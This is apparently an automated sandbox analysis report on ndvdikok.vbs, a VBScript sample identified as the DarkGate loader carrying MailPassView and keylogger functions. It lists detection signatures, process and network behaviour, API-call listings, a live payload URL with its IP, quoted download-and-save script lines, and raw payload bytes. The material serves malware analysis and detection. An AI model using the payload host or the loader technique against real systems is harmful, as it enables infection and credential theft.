Edit tour

Windows Analysis Report
ndvdikok.vbs

Overview

General Information

Sample name:	ndvdikok.vbs
Analysis ID:	1427163
MD5:	32f61baa669991fb989439babaf493ff
SHA1:	4242d545077e3e643854e3148e00c8283533b9ab
SHA256:	75db6f949461cb03a155dd26c781a3c9e00edb917275f3b4d306b7094ed06a14
Tags:	DarkGatevbs
Infos:

Detection

DarkGate, MailPassView

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Benign windows process drops PE files

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

VBScript performs obfuscated calls to suspicious functions

Yara detected DarkGate

Yara detected MailPassView

Contains functionality to inject code into remote processes

Contains functionality to inject threads in other processes

Contains functionality to register a low level keyboard hook

Potential malicious VBS script found (has network functionality)

Sample or dropped binary is a compiled AutoHotkey binary

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found evaded block containing many API calls

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries information about the installed CPU (vendor, model number etc)

Queries the product ID of Windows

Queries the volume information (name, serial number etc) of a device

Sigma detected: Script Initiated Connection

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6640 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ndvdikok.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

AutoHotkey.exe (PID: 6544 cmdline: "C:\NwiQ\Autohotkey.exe" "c:\NwiQ\script.ahk" MD5: A59A2D3E5DDA7ACA6EC879263AA42FD3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DarkGate	First documented in 2018, DarkGate is a commodity loader with features that include the ability to download and execute files to memory, a Hidden Virtual Network Computing (HVNC) module, keylogging, information-stealing capabilities, and privilege escalation. DarkGate makes use of legitimate AutoIt files and typically runs multiple AutoIt scripts. New versions of DarkGate have been advertised on a Russian language eCrime forum since May 2023.	No Attribution	https://0xtoxin.github.io/threat%20breakdown/DarkGate-Camapign-Analysis/ https://blog.sekoia.io/darkgate-internals/ https://cofense.com/blog/are-darkgate-and-pikabot-the-new-qakbot/ https://cybersecurity.att.com/blogs/security-essentials/darkgate-malware-delivered-via-microsoft-teams-detection-and-response https://decoded.avast.io/janrubin/complex-obfuscation-meh/	https://malpedia.caad.fkie.fraunhofer.de/details/win.darkgate

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.1665821526.00000000048AA000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
Process Memory Space: AutoHotkey.exe PID: 6544	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
Process Memory Space: AutoHotkey.exe PID: 6544	JoeSecurity_DarkGate	Yara detected DarkGate	Joe Security
Process Memory Space: AutoHotkey.exe PID: 6544	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Sigma Signatures

System Summary

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 205.234.201.153, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 6640, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ndvdikok.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ndvdikok.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ndvdikok.vbs", ProcessId: 6640, ProcessName: wscript.exe

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 205.234.201.153, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 6640, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ndvdikok.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ndvdikok.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ndvdikok.vbs", ProcessId: 6640, ProcessName: wscript.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: ndvdikok.vbs

Virustotal: Detection: 15%

Perma Link

Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00480DC0 _wcschr,_wcschr,_wcschr,FindFirstFileW,FindClose,_wcschr,FindFirstFileW,FindClose,	1_2_00480DC0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0045E220 _wcschr,_wcschr,GetFileAttributesW,FindFirstFileW,FindClose,CoInitialize,CoCreateInstance,CoUninitialize,	1_2_0045E220
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0047C320 FindFirstFileW,FindClose,GetFileAttributesW,CreateFileW,WriteFile,WriteFile,WriteFile,CloseHandle,	1_2_0047C320
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0044D570 FindFirstFileW,GetTickCount,GetTickCount,PeekMessageW,GetTickCount,FindNextFileW,FindClose,GetLastError,FindFirstFileW,GetTickCount,GetTickCount,PeekMessageW,GetTickCount,__swprintf,FindNextFileW,FindClose,	1_2_0044D570
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0044D870 FindFirstFileW,GetLastError,FindClose,FileTimeToLocalFileTime,	1_2_0044D870
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00437B70 FindFirstFileW,FindNextFileW,FindClose,FindNextFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindClose,	1_2_00437B70
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0044DBB0 CreateFileW,GetFileSizeEx,CloseHandle,FindFirstFileW,GetLastError,FindClose,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,	1_2_0044DBB0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00480D30 FindFirstFileW,FindClose,GetFileAttributesW,	1_2_00480D30
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0045EEA0 GetFullPathNameW,GetFullPathNameW,GetFullPathNameW,GetFileAttributesW,GetFileAttributesW,GetFileAttributesW,FindFirstFileW,GetLastError,_wcsrchr,_wcsrchr,_wcsncpy,GetTickCount,PeekMessageW,GetTickCount,MoveFileW,DeleteFileW,MoveFileW,GetLastError,CopyFileW,GetLastError,FindNextFileW,FindClose,	1_2_0045EEA0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_048495A1 FindFirstFileA,GetLastError,	1_2_048495A1
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0489C541 FindFirstFileW,FindNextFileW,FindClose,	1_2_0489C541
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0484655D GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	1_2_0484655D
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0489B145 FindFirstFileW,lstrcmpW,lstrcmpW,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FindNextFileW,FindClose,	1_2_0489B145
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04876FE5 FindFirstFileW,FindNextFileW,FindClose,	1_2_04876FE5
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04873871 FindFirstFileW,FindNextFileW,FindClose,	1_2_04873871

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 205.234.201.153 80

Jump to behavior

Potential malicious VBS script found (has network functionality)

Source:	Initial file: stream.Write xmlhttp.ResponseBody
Source:	Initial file: stream.SaveToFile zipFile, 2

Source: Joe Sandbox View

ASN Name: SERVERCENTRALUS SERVERCENTRALUS

Source: global traffic

HTTP traffic detected: GET /fykbmgsz HTTP/1.1Accept: */*Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: backupssupport.comConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_0045DB90 __wcstoi64,InternetOpenW,InternetOpenUrlW,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetReadFile,InternetReadFile,GetTickCount,GetTickCount,PeekMessageW,GetTickCount,InternetReadFile,InternetReadFileExA,InternetReadFileExA,GetTickCount,GetTickCount,PeekMessageW,GetTickCount,InternetReadFileExA,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,DeleteFileW,

1_2_0045DB90

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKConnection: closeContent-Disposition: attachment; filename="fykbmgsz"Content-Type: application/octet-streamContent-Length: 795674Date: Wed, 17 Apr 2024 04:39:55 GMTData Raw: 50 4b 03 04 14 00 00 00 08 00 47 2f 90 58 5b 96 81 81 59 ef 04 00 62 8a 0e 00 08 00 00 00 74 65 73 74 2e 74 78 74 ec dd 57 82 dc 38 d2 36 ea 2d a5 37 97 69 f7 bf a4 ff 79 03 00 93 64 55 69 ba 5b fa 6e ce 11 67 5a 95 34 70 81 f0 08 04 ae 9b d7 f5 7e dd ec 37 75 1d f7 e7 c3 e9 75 3a 9c 77 87 ed e9 78 dc 9d 4e 87 cb e9 76 da 9d cf c7 eb e9 7c 7a 1d de a7 f7 f9 7a da 1f ee 87 dd f1 76 dc 1d ee be d9 1f 5d e7 db e9 78 be 1c 6e 7e 1e 0e c7 e3 e6 b0 3b 9c cf a7 f3 e5 f4 3e 5d 0e 8f f3 e1 f0 38 6e fd 7e 9d 77 c7 fd e9 7a be 1d 8e e7 cd 69 ef 8b 83 ef b6 fe d9 1e 8f a7 f3 f9 a6 d6 f3 49 0b 6a 79 7b 73 3b f8 52 5d 97 f3 f9 f0 54 ff eb bc 3f ec ce 1b ff 1e 4e 5b ad 9c 8f 97 e3 e9 f0 f6 46 dd a7 e7 e9 a8 c7 c7 d3 d6 3f bb e3 f6 7c 3d e6 7f db 73 be b8 2a 77 3e 6f 34 b2 d5 c6 e1 f0 3a ec 4e 8f d3 f1 b0 37 c2 a7 2f d3 a3 83 5f 19 d5 f6 b0 3f 3d b5 fc 36 a6 ab 77 e7 c3 f9 74 3b fa ce 38 33 d8 8b 3a ae fa e2 d6 7f 5e d6 97 27 6d 5c b5 bf 3b 5d 3d d3 83 f3 4e 6d 5b ed ee 4e 97 7c 0f 76 e0 73 78 6a 0b fc f4 f6 0d 26 7a a3 0f cf d3 e3 bc 37 f2 fd e1 71 7a 1f 4e a7 8b 96 b7 81 b6 fe 6e d4 7b 3c bd 34 b6 3f de 40 ed 7e 3a 1c ee 46 6b 16 8e 1b d0 bd 83 77 5a 3d 98 99 9d 91 f9 e1 e9 13 fc 2e 6a 07 22 b3 ba 35 19 ef c3 2d 6d 1a cc e6 f0 30 49 fb b3 06 f5 e0 60 66 77 a7 bb 9a 5f 7a 0e aa a7 cb 79 7f ba 99 9b bd 12 67 90 ba 64 56 40 52 1b d5 eb 93 39 7c 7b 72 3b 5c cf 7b 50 3d e8 6d 00 b3 3d 99 f5 63 5a d9 a9 65 7b 7a 80 d1 01 1c 55 a2 d7 b0 c2 28 dd 9b 85 73 da cd ec e8 d9 cd bb 07 18 1a 51 f5 e5 76 3a a9 67 0b ca d7 93 59 53 ea 06 03 9e c7 3d 58 04 1f 1f a0 70 32 73 77 f0 79 18 b7 59 02 6b 68 62 5c cf 63 46 73 04 ed 07 bc bd 9b b1 dd c9 d8 33 02 35 de c0 34 3d ba 1e f6 66 62 a3 67 70 1d b6 99 e3 60 a0 d9 3f fb ef 62 16 6f e6 ec ae ce bd d1 6b d4 17 17 6d 2a ea a9 1f ea 85 15 c1 06 94 f2 76 77 86 4b fa 95 b9 86 ab f0 c0 f8 bc 07 89 bd 12 57 7d cd dc 1c f5 ca 1d 38 1f 03 25 75 9a d8 d3 3d 7d 05 37 d0 33 96 bd 71 6f 8c e1 72 b8 a0 41 14 a5 b7 3e 52 5b cd d1 11 36 a4 9f 07 a3 82 5f 27 33 a9 ee 33 04 f0 df 43 af 6e 85 05 70 d7 9c 9d 82 6b 6a f3 ce ac 67 8a 36 46 7c d5 ca 3b 33 a4 b4 17 7a fd ce dc 86 32 43 51 60 fe 38 83 6e e6 52 cd d7 70 80 cc a6 de 18 97 f7 f7 c3 bd f8 c3 53 79 50 28 2a ce 9c 43 cb 20 94 3a 02 af e0 b0 ba 35 7c 41 51 ef 43 e8 f9 84 83 dc 71 12 f8 a2 b6 bb 96 15 68 b3 ab 5e a3 3a df 42 05 30 69 03 33 e0 77 b8 0d 6a 3c 99 cf 8b 52 af d4 8f 56 3c 29 1e 84 9a 60 56 6a 7e 80 85 fe ab f5 04 ef 40 0c ec ef 50 01 a6 64 9e b5 b5 87 75 a1 42 68 17 2c 30 b2 d0 0a 8a 0a f4 c0 1a ef f0 dd de 2c bc 60 4c 66 d8 4c 64 ca 81 2d df 81 b7 6f 2f b0 0c a0 e1 fb 49 79 9c 06 3e 6d 8a 77 e9 ab 59 0b be bc c1 2b 13 bb 33 af 46 a9 c5 5b 28 0b a6 ee 7c a1 f6 1a 5f 28 46 33 b0 cd 07 fe 87 bf 99 11 dc cc 13 d8 a9 e4 0e dc 0e fe 85 73 6a 3d e8 a1 5a 8f ba e9 ab 83 36 f0 9a f0 02 fc 29 bc

Source: global traffic

Source: unknown

DNS traffic detected: queries for: backupssupport.com

Source: wscript.exe, 00000000.00000002.1660300685.000001D5A3ECA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1660138257.000001D5A3D19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1658115436.000001D5A5B32000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1655827819.000001D5A3D13000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1658042445.000001D5A3C9E000.00000004.00000020.00020000.00000000.sdmp, ndvdikok.vbs	String found in binary or memory: http://backupssupport.com/fykbmgsz
Source: wscript.exe, 00000000.00000003.1655755076.000001D5A3CE7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1660138257.000001D5A3D19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1655827819.000001D5A3D13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://backupssupport.com/fykbmgsz6
Source: wscript.exe, 00000000.00000003.1656750950.000001D5A3C95000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1659182934.000001D5A3C9F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1658042445.000001D5A3C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://backupssupport.com/fykbmgszj
Source: AutoHotkey.exe, AutoHotkey.exe, 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey.exe, 00000001.00000000.1655102872.00000000004AD000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey.exe.0.dr	String found in binary or memory: https://autohotkey.com
Source: AutoHotkey.exe, 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey.exe, 00000001.00000000.1655102872.00000000004AD000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey.exe.0.dr	String found in binary or memory: https://autohotkey.comCould
Source: wscript.exe, 00000000.00000002.1660535194.000001D5A5EE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_0040E820 SetWindowsHookExW 0000000D,Function_00009EA0,00400000,00000000

1_2_0040E820

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_00405430 GetTickCount,IsClipboardFormatAvailable,GetTickCount,OpenClipboard,OpenClipboard,GetTickCount,OpenClipboard,

1_2_00405430

Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00405160 EmptyClipboard,GlobalUnlock,CloseClipboard,GlobalUnlock,GlobalUnlock,GlobalFree,GlobalUnlock,CloseClipboard,SetClipboardData,GlobalUnlock,CloseClipboard,		1_2_00405160
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00483160 EmptyClipboard,GlobalUnlock,CloseClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,GlobalUnlock,CloseClipboard,GlobalFree,GlobalUnlock,CloseClipboard,		1_2_00483160

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_00405330 GetClipboardFormatNameW,__wcsnicmp,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,GetClipboardData,

1_2_00405330

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_004442E0 GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,_wcsrchr,__wcsicoll,__wcsicoll,__wcsicoll,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,__wcsnicmp,__fassign,__wcsnicmp,_wcsncpy,__fassign,__fassign,__fassign,__fassign,GetDC,DestroyIcon,DeleteObject,DeleteObject,GetIconInfo,DeleteObject,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,ReleaseDC,DeleteObject,SelectObject,DeleteDC,DeleteObject,_free,_free,_free,

1_2_004442E0

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_00416010 GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetTickCount,

1_2_00416010

Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004014E4 GlobalUnlock,CloseClipboard,SetTimer,GetTickCount,GetTickCount,GetMessageW,GetTickCount,GetFocus,TranslateAcceleratorW,GetKeyState,GetWindowLongW,IsWindowEnabled,GetKeyState,GetKeyState,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,IsDialogMessageW,ShowWindow,GetForegroundWindow,GetWindowThreadProcessId,GetClassNameW,KillTimer,DragQueryFileW,DragFinish,GetTickCount,DragFinish,DragFinish,_wcsncpy,_wcsncpy,GetTickCount,_wcsncpy,GetTickCount,IsDialogMessageW,SetCurrentDirectoryW,TranslateAcceleratorW,TranslateMessage,DispatchMessageW,	1_2_004014E4
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00418140 GetKeyState,GetKeyState,GetKeyState,GetForegroundWindow,GetWindowThreadProcessId,GetKeyState,	1_2_00418140
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00414870 __wcsnicmp,__wcsnicmp,GetWindowThreadProcessId,AttachThreadInput,GetTickCount,GetCurrentThreadId,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetGUIThreadInfo,GetWindowThreadProcessId,GetKeyboardLayout,GetTickCount,BlockInput,GetTickCount,GetTickCount,PeekMessageW,GetTickCount,_wcschr,_wcschr,__wcsnicmp,__wcsnicmp,_wcschr,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsicoll,PostMessageW,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetTickCount,GetTickCount,PeekMessageW,GetTickCount,__wcsnicmp,__wcsnicmp,__fassign,PostMessageW,PostMessageW,PostMessageW,__itow,PostMessageW,_free,GetTickCount,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetTickCount,GetKeyState,GetKeyState,GetKeyState,GetForegroundWindow,GetWindowThreadProcessId,AttachThreadInput,BlockInput,GetForegroundWindow,GetWindowThreadProcessId,	1_2_00414870

Source: Yara match

File source: Process Memory Space: AutoHotkey.exe PID: 6544, type: MEMORYSTR

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_0487357D CreateDesktopA,CreateProcessA,CreateProcessA,CreateProcessA,CreateProcessA,WaitForSingleObject,

1_2_0487357D

System Summary

Sample or dropped binary is a compiled AutoHotkey binary

Source: C:\NwiQ\AutoHotkey.exe

Window found: window name: AutoHotkey

Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Shell Automation Service HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{13709620-C279-11CE-A49E-444553540000}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}	Jump to behavior

Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04895009 Sleep,TerminateThread,NtClose,NtClose,	1_2_04895009
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04894C89 NtDuplicateObject,NtClose,	1_2_04894C89
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04894CBD NtQueryObject,NtQueryObject,	1_2_04894CBD
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04894D15 NtOpenProcess,	1_2_04894D15
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04894D65 NtQuerySystemInformation,NtDuplicateObject,NtClose,NtClose,NtClose,NtClose,NtClose,NtClose,NtClose,	1_2_04894D65
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0486A8DD GetCurrentProcessId,OpenProcess,InitializeProcThreadAttributeList,GetProcessHeap,RtlAllocateHeap,InitializeProcThreadAttributeList,UpdateProcThreadAttribute,CreateProcessA,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,WriteProcessMemory,ResumeThread,Sleep,GetTickCount,	1_2_0486A8DD
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0486ABFD GetCurrentProcessId,CreateProcessA,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,WriteProcessMemory,ResumeThread,Sleep,GetTickCount,	1_2_0486ABFD

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_00449B70: __swprintf,CreateFileW,DeviceIoControl,CloseHandle,

1_2_00449B70

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_0045F410 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,

1_2_0045F410

Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004014E4	1_2_004014E4
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004517E0	1_2_004517E0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004260F0	1_2_004260F0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0042A3C0	1_2_0042A3C0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0040D3F0	1_2_0040D3F0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004A23BC	1_2_004A23BC
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004A654C	1_2_004A654C
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00411570	1_2_00411570
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0048E630	1_2_0048E630
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0040D6C0	1_2_0040D6C0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004A1865	1_2_004A1865
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00414870	1_2_00414870
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0041F800	1_2_0041F800
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00429800	1_2_00429800
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0047F800	1_2_0047F800
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00443AD0	1_2_00443AD0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004A6A9D	1_2_004A6A9D
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00423B30	1_2_00423B30
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00438B30	1_2_00438B30
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004A7BE9	1_2_004A7BE9
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00411BB0	1_2_00411BB0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0049CBB8	1_2_0049CBB8
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004A9CDE	1_2_004A9CDE
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00419E61	1_2_00419E61
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00412E60	1_2_00412E60
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00419E60	1_2_00419E60
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00401EF4	1_2_00401EF4
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004260F0	1_2_004260F0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0043BFE0	1_2_0043BFE0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0486A0F5	1_2_0486A0F5
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0488E009	1_2_0488E009
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04866251	1_2_04866251
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0488CA21	1_2_0488CA21
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04881A51	1_2_04881A51
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_048AD826	1_2_048AD826

Source: Joe Sandbox View

Dropped File: C:\NwiQ\AutoHotkey.exe 897B0D0E64CF87AC7086241C86F757F3C94D6826F949A1F0FEC9C40892C0CECB

Source: C:\NwiQ\AutoHotkey.exe	Code function: String function: 04875E39 appears 33 times
Source: C:\NwiQ\AutoHotkey.exe	Code function: String function: 00480050 appears 42 times
Source: C:\NwiQ\AutoHotkey.exe	Code function: String function: 04845251 appears 76 times
